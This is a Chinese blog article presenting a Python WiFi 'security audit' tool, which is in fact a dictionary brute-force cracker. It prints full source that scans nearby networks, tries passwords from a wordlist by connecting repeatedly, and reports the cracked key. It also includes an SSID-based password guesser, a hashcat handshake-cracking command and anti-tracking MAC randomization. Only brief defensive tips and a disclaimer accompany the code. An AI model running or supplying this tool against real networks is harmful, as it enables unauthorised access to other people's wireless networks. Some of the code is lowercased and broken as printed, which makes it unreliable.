当前位置: 代码网 > it编程>前端脚本>Python > 基于Python打造一个WiFi命令行安全审计工具

基于Python打造一个WiFi命令行安全审计工具

2026年03月11日 Python 我要评论
概述:无线网络安全审计的重要性在当今数字化时代,无线wifi网络已成为日常生活中不可或缺的基础设施。根据2023年网络安全报告显示,约37%的企业数据泄露事件与不安全的无线网络有关。本文介绍的白泽wi

概述:无线网络安全审计的重要性

在当今数字化时代,无线wifi网络已成为日常生活中不可或缺的基础设施。根据2023年网络安全报告显示,约37%的企业数据泄露事件与不安全的无线网络有关。

本文介绍的白泽wifi审计工具,正是基于python pywifi库开发的专业级无线安全评估工具,具备以下核心价值:

  • 安全评估:帮助企业识别弱密码wifi热点
  • 渗透测试:符合ptes渗透测试标准中的无线审计环节
  • 教学研究:学习802.11协议安全机制的理想实验平台

功能特性

核心功能模块

模块功能描述技术实现
网卡控制多网卡识别与状态管理pywifi.interfaces()
频谱扫描2.4g/5g双频段扫描scan() + scan_results()
安全分析识别wpa/wpa2/wep加密akm类型检测
字典攻击基于规则的密码爆破多线程队列控制

特色功能

  • 信号热力图:自动生成csv格式的信号分布数据
  • 智能字典:内置常见路由器默认密码规则库
  • 防检测模式:随机化mac地址防止被追踪

展示效果

控制台输出示例

密码破解过程动态展示

安装依赖库

pip install pywifi colorama psutil

工作流程

初始化阶段

  • 加载网卡驱动
  • 检测特权模式(需root/administrator权限)

扫描阶段

  • 信道跳频扫描(1-13信道)
  • 信号强度校准(rssi补偿算法)

攻击阶段

核心代码解析

1. 无线网卡控制引擎

class wificontroller:
    def __init__(self):
        self.wifi = pywifi.pywifi()
        self.iface = self.wifi.interfaces()[0]
        
    def set_monitor_mode(self, enable=true):
        """切换监听模式(需驱动支持)"""
        if enable:
            self.iface.set_mode(const.iface_mode_monitor)
        else:
            self.iface.set_mode(const.iface_mode_station)

2. 智能字典生成算法

def generate_smart_dict(ssid):
    """基于ssid的智能字典生成"""
    rules = [
        lambda s: s + "123456",          # tp-link_5g -> tp-link_5g123456
        lambda s: s.replace("_","") + "!", # tp-link_5g -> tplink5g!
        lambda s: s.split("_")[0] + "admin" # tp-link_5g -> tp-linkadmin
    ]
    return [rule(ssid) for rule in rules]

3. 信号质量评估模块

def evaluate_signal(rssi):
    """基于rssi的信号质量评估"""
    if rssi >= -50:
        return "██████████ 极强"
    elif -60 <= rssi < -50:
        return "████████   强" 
    elif -70 <= rssi < -60:
        return "█████      中"
    else:
        return "██         弱"

完整代码

import pywifi
from pywifi import const
import time
import os
import glob

def print_banner():
    banner = """
    ╔════════════════════════════════════════════════════════════════════════════════════════════════╗
    ║    ██╗    ██╗██╗███████╗██╗     ██████╗ ██████╗  █████╗  ██████╗██╗  ██╗██╗███╗   ██╗ ██████╗  ║
    ║    ██║    ██║██║██╔════╝██║    ██╔═══██╗██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██║████╗  ██║██╔════╝  ║
    ║    ██║ █╗ ██║██║█████╗  ██║    ██║   ██║██████╔╝███████║██║     █████╔╝ ██║██╔██╗ ██║██║  ███╗ ║
    ║    ██║███╗██║██║██╔══╝  ██║    ██║   ██║██╔══██╗██╔══██║██║     ██╔═██╗ ██║██║╚██╗██║██║   ██║ ║
    ║    ╚███╔███╔╝██║██║     ██║    ╚██████╔╝██║  ██║██║  ██║╚██████╗██║  ██╗██║██║ ╚████║╚██████╔╝ ║
    ║     ╚══╝╚══╝ ╚═╝╚═╝     ╚═╝     ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝  ║
    ║                                  无线wifi数据审计工具-白泽                                     ║
    ╚════════════════════════════════════════════════════════════════════════════════════════════════╝
    """
    print("\033[1;32m" + banner + "\033[0m")

def list_wifi_interfaces():
    """列出所有无线网卡"""
    wifi = pywifi.pywifi()
    interfaces = wifi.interfaces()
    
    if not interfaces:
        print("🔴 未检测到任何无线网卡!")
        return none
    
    print("\n🤖 可用的无线网卡:")
    for i, iface in enumerate(interfaces, 1):
        print(f" [{i}].{iface.name()} (状态: {get_status_name(iface.status())})")
    return interfaces


def get_status_name(status):
    """获取状态名称"""
    status_map = {
        const.iface_disconnected: "🔴 未连接",
        const.iface_scanning: "🟡 扫描中",
        const.iface_inactive: "⚪ 未激活",
        const.iface_connecting: "🟠 连接中",
        const.iface_connected: "🟢 已连接"
    }
    return status_map.get(status, "❓ 未知状态")

def list_dict_files():
    """列出当前目录下所有txt字典文件"""
    dict_files = glob.glob("*.txt")
    
    if not dict_files:
        print("🔴 当前目录下未找到任何txt字典文件!")
        return none
    
    print("\n🟢 可用的字典文件:")
    for i, file in enumerate(dict_files, 1):
        file_size = os.path.getsize(file) / 1024  # kb
        print(f"📄 {i}. {file} ({file_size:.2f} kb)")
    
    return dict_files

def select_option(options, option_type, allow_zero=true):
    """选择选项"""
    while true:
        try:
            prompt = f"\n👉 请选择{option_type}[1-{len(options)}]"
            if allow_zero:
                prompt += ",或输入[0]返回主页面"
            prompt += ",或输入[#]退出程序: "
            
            choice = input(prompt).strip().lower()  # 去除前后空格并转为小写
            
            if choice == '#':
                print("\n⛓️‍💥 正在退出程序...")
                exit(0)
            if allow_zero and choice == '0':
                return none
                
            choice = int(choice)
            if 1 <= choice <= len(options):
                return options[choice-1]
            else:
                print(f"🤖  请输入1-{len(options)}之间的数字!") 
        except valueerror:
            print("🤖 请输入有效的数字!")
            
def decode_ssid(ssid):
    """解码ssid,处理乱码问题"""
    if not ssid:
        return "🌐 <隐藏网络>"
    
    # 尝试多种编码方式
    encodings = ['utf-8', 'gbk', 'latin-1']
    for enc in encodings:
        try:
            if isinstance(ssid, bytes):
                return ssid.decode(enc)
            else:
                return ssid.encode('raw_unicode_escape').decode(enc)
        except:
            continue
    
    # 如果所有解码都失败,返回十六进制表示
    if isinstance(ssid, str):
        return ''.join(f'\\x{ord(c):02x}' for c in ssid)
    else:
        return ''.join(f'\\x{b:02x}' for b in ssid)

def scan_and_list_wifi(iface):
    """扫描并列出所有wifi网络(按信号强度排序)"""
    print("\n🔍 正在扫描wifi网络,请稍候⌛...")
    iface.scan()
    time.sleep(5)  # 等待扫描完成
    scan_results = iface.scan_results()
    
    if not scan_results:
        print("🔴 未扫描到任何wifi网络")
        return none
    
    # 按信号强度排序(从强到弱)
    sorted_results = sorted(scan_results, key=lambda x: x.signal, reverse=true)
    
    wifi_list = []
    print("\n🛜 可用的wifi网络(按信号强度排序):")
    print("━" * 85)
    print("🔢 序号 | 🛜 wifi名称         | 🆔 bssid            | 📶 信号强度   |   🔒 加密方式 ")
    print("━" * 85)
    
    for i, result in enumerate(sorted_results, 1):
        ssid = decode_ssid(result.ssid)
        
        # 限制ssid显示长度
        display_ssid = (ssid[:20] + '...') if len(ssid) > 23 else ssid.ljust(23)
        
        bssid = result.bssid
        signal = f"{result.signal}dbm"
        auth = get_auth_name(result.akm)
        
        print(f"{i:<4} | {display_ssid:<23} | {bssid} | {signal:<8} | {auth}")
        wifi_list.append({
            'ssid': result.ssid,  # 存储原始ssid用于连接
            'display_ssid': ssid,  # 存储解码后的ssid用于显示
            'bssid': bssid,
            'signal': result.signal,
            'auth': result.akm
        })
    
    print("━" * 85)
    return wifi_list

def get_auth_name(akm_list):
    """获取加密方式名称"""
    if not akm_list:
        return "🔓 开放网络"
    
    auth_map = {
        const.akm_type_none: "🔓 无",
        const.akm_type_wpa: "🔐 wpa",
        const.akm_type_wpapsk: "🔐 wpa-psk",
        const.akm_type_wpa2: "🔐 wpa2",
        const.akm_type_wpa2psk: "🔐 wpa2-psk",
        const.akm_type_unknown: "❓ 未知"
    }
    
    auths = []
    for akm in akm_list:
        auths.append(auth_map.get(akm, str(akm)))
    
    return " + ".join(auths)

def wifi_connect(iface, ssid, pwd):
    """尝试连接wifi"""
    # 断开当前连接
    iface.disconnect()
    time.sleep(1)
    
    if iface.status() == const.iface_disconnected:
        profile = pywifi.profile()
        profile.ssid = ssid
        profile.auth = const.auth_alg_open
        profile.akm.append(const.akm_type_wpa2psk)  # 最常见的加密方式
        profile.cipher = const.cipher_type_ccmp
        profile.key = pwd
        
        iface.remove_all_network_profiles()
        temp_profile = iface.add_network_profile(profile)
        
        iface.connect(temp_profile)
        time.sleep(3)
        
        if iface.status() == const.iface_connected:
            return true
    return false

def wifi_crack():
    """主破解函数"""
    while true:
        print_banner()
        
        # 选择无线网卡
        interfaces = list_wifi_interfaces()
        if not interfaces:
            input("\n🤖 按enter键返回主页面...")
            continue
            
        iface = select_option(interfaces, "无线网卡")
        if not iface:
            continue
        
        # 扫描并选择wifi网络
        wifi_list = scan_and_list_wifi(iface)
        if not wifi_list:
            input("\n🤖 按enter键返回主页面...")
            continue
            
        selected_wifi = select_option(wifi_list, "wifi网络")
        if not selected_wifi:
            continue
        
        # 检查是否是开放网络
        if not selected_wifi['auth']:
            print(f"\n🎉 网络 {selected_wifi['display_ssid']} 是开放网络,无需密码!")
            input("\n🤖 按enter键返回主页面...")
            continue
        
        # 选择字典文件
        dict_files = list_dict_files()
        if not dict_files:
            input("\n🤖 按enter键返回主页面...")
            continue
            
        dict_file = select_option(dict_files, "字典文件")
        if not dict_file:
            continue
        
        # 加载密码字典
        try:
            with open(dict_file, "r", errors='ignore') as f:
                passwords = [p.strip() for p in f.readlines() if p.strip()]
        except exception as e:
            print(f"🔴 读取字典文件失败: {str(e)}")
            input("\n按enter键返回主页面...")
            continue
        
        print(f"\n🤖 开始破解 wifi: {selected_wifi['display_ssid']}")
        print(f"💻 使用网卡: {iface.name()}")
        print(f"📚 使用字典: {dict_file}")
        print(f"🔒 加密方式: {get_auth_name(selected_wifi['auth'])}")
        print(f"📡 信号强度: {selected_wifi['signal']}dbm")
        print(f"🔑 加载密码数量: {len(passwords)}")
        print("━" * 50)
        
        for idx, pwd in enumerate(passwords, 1):
            try:
                print(f"\r🔑 尝试密码 [{idx}/{len(passwords)}]: {pwd}", end="", flush=true)
                if wifi_connect(iface, selected_wifi['ssid'], pwd):
                    print(f"\n\n🎉🎉🎉 密码破解成功!")
                    print(f"🛜 wifi名称: {selected_wifi['display_ssid']}")
                    print(f"🔑 密码: \033[1;32m{pwd}\033[0m")
                    input("\n按enter键返回主页面...")
                    break
            except keyboardinterrupt:
                print("\n🤖 用户中断操作")
                input("\n按enter键返回主页面...")
                break
            except exception as e:
                continue
        else:
            print("\n\n🔴 密码破解失败,字典中没有正确密码")
            input("\n按enter键返回主页面...")

if __name__ == "__main__":
    wifi_crack()

进阶开发指南

性能优化技巧

多线程控制

from concurrent.futures import threadpoolexecutor

with threadpoolexecutor(max_workers=4) as executor:
    executor.map(try_password, password_chunk)

gpu加速方案

# 需配合hashcat使用
os.system(f"hashcat -m 2500 capture.hccapx dict.txt --force")

防御对策研究

企业级防护

  • 部署802.1x认证
  • 启用wpa3-sae加密

家庭防护

  • 关闭wps功能
  • 设置16位复杂密码(含特殊字符)

声明:本文工具仅限合法授权测试使用,禁止任何形式的非法活动。技术是一把双刃剑,请务必遵守《网络安全法》及相关法律法规。

到此这篇关于基于python打造一个wifi命令行安全审计工具的文章就介绍到这了,更多相关python wifi安全审计内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2026  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com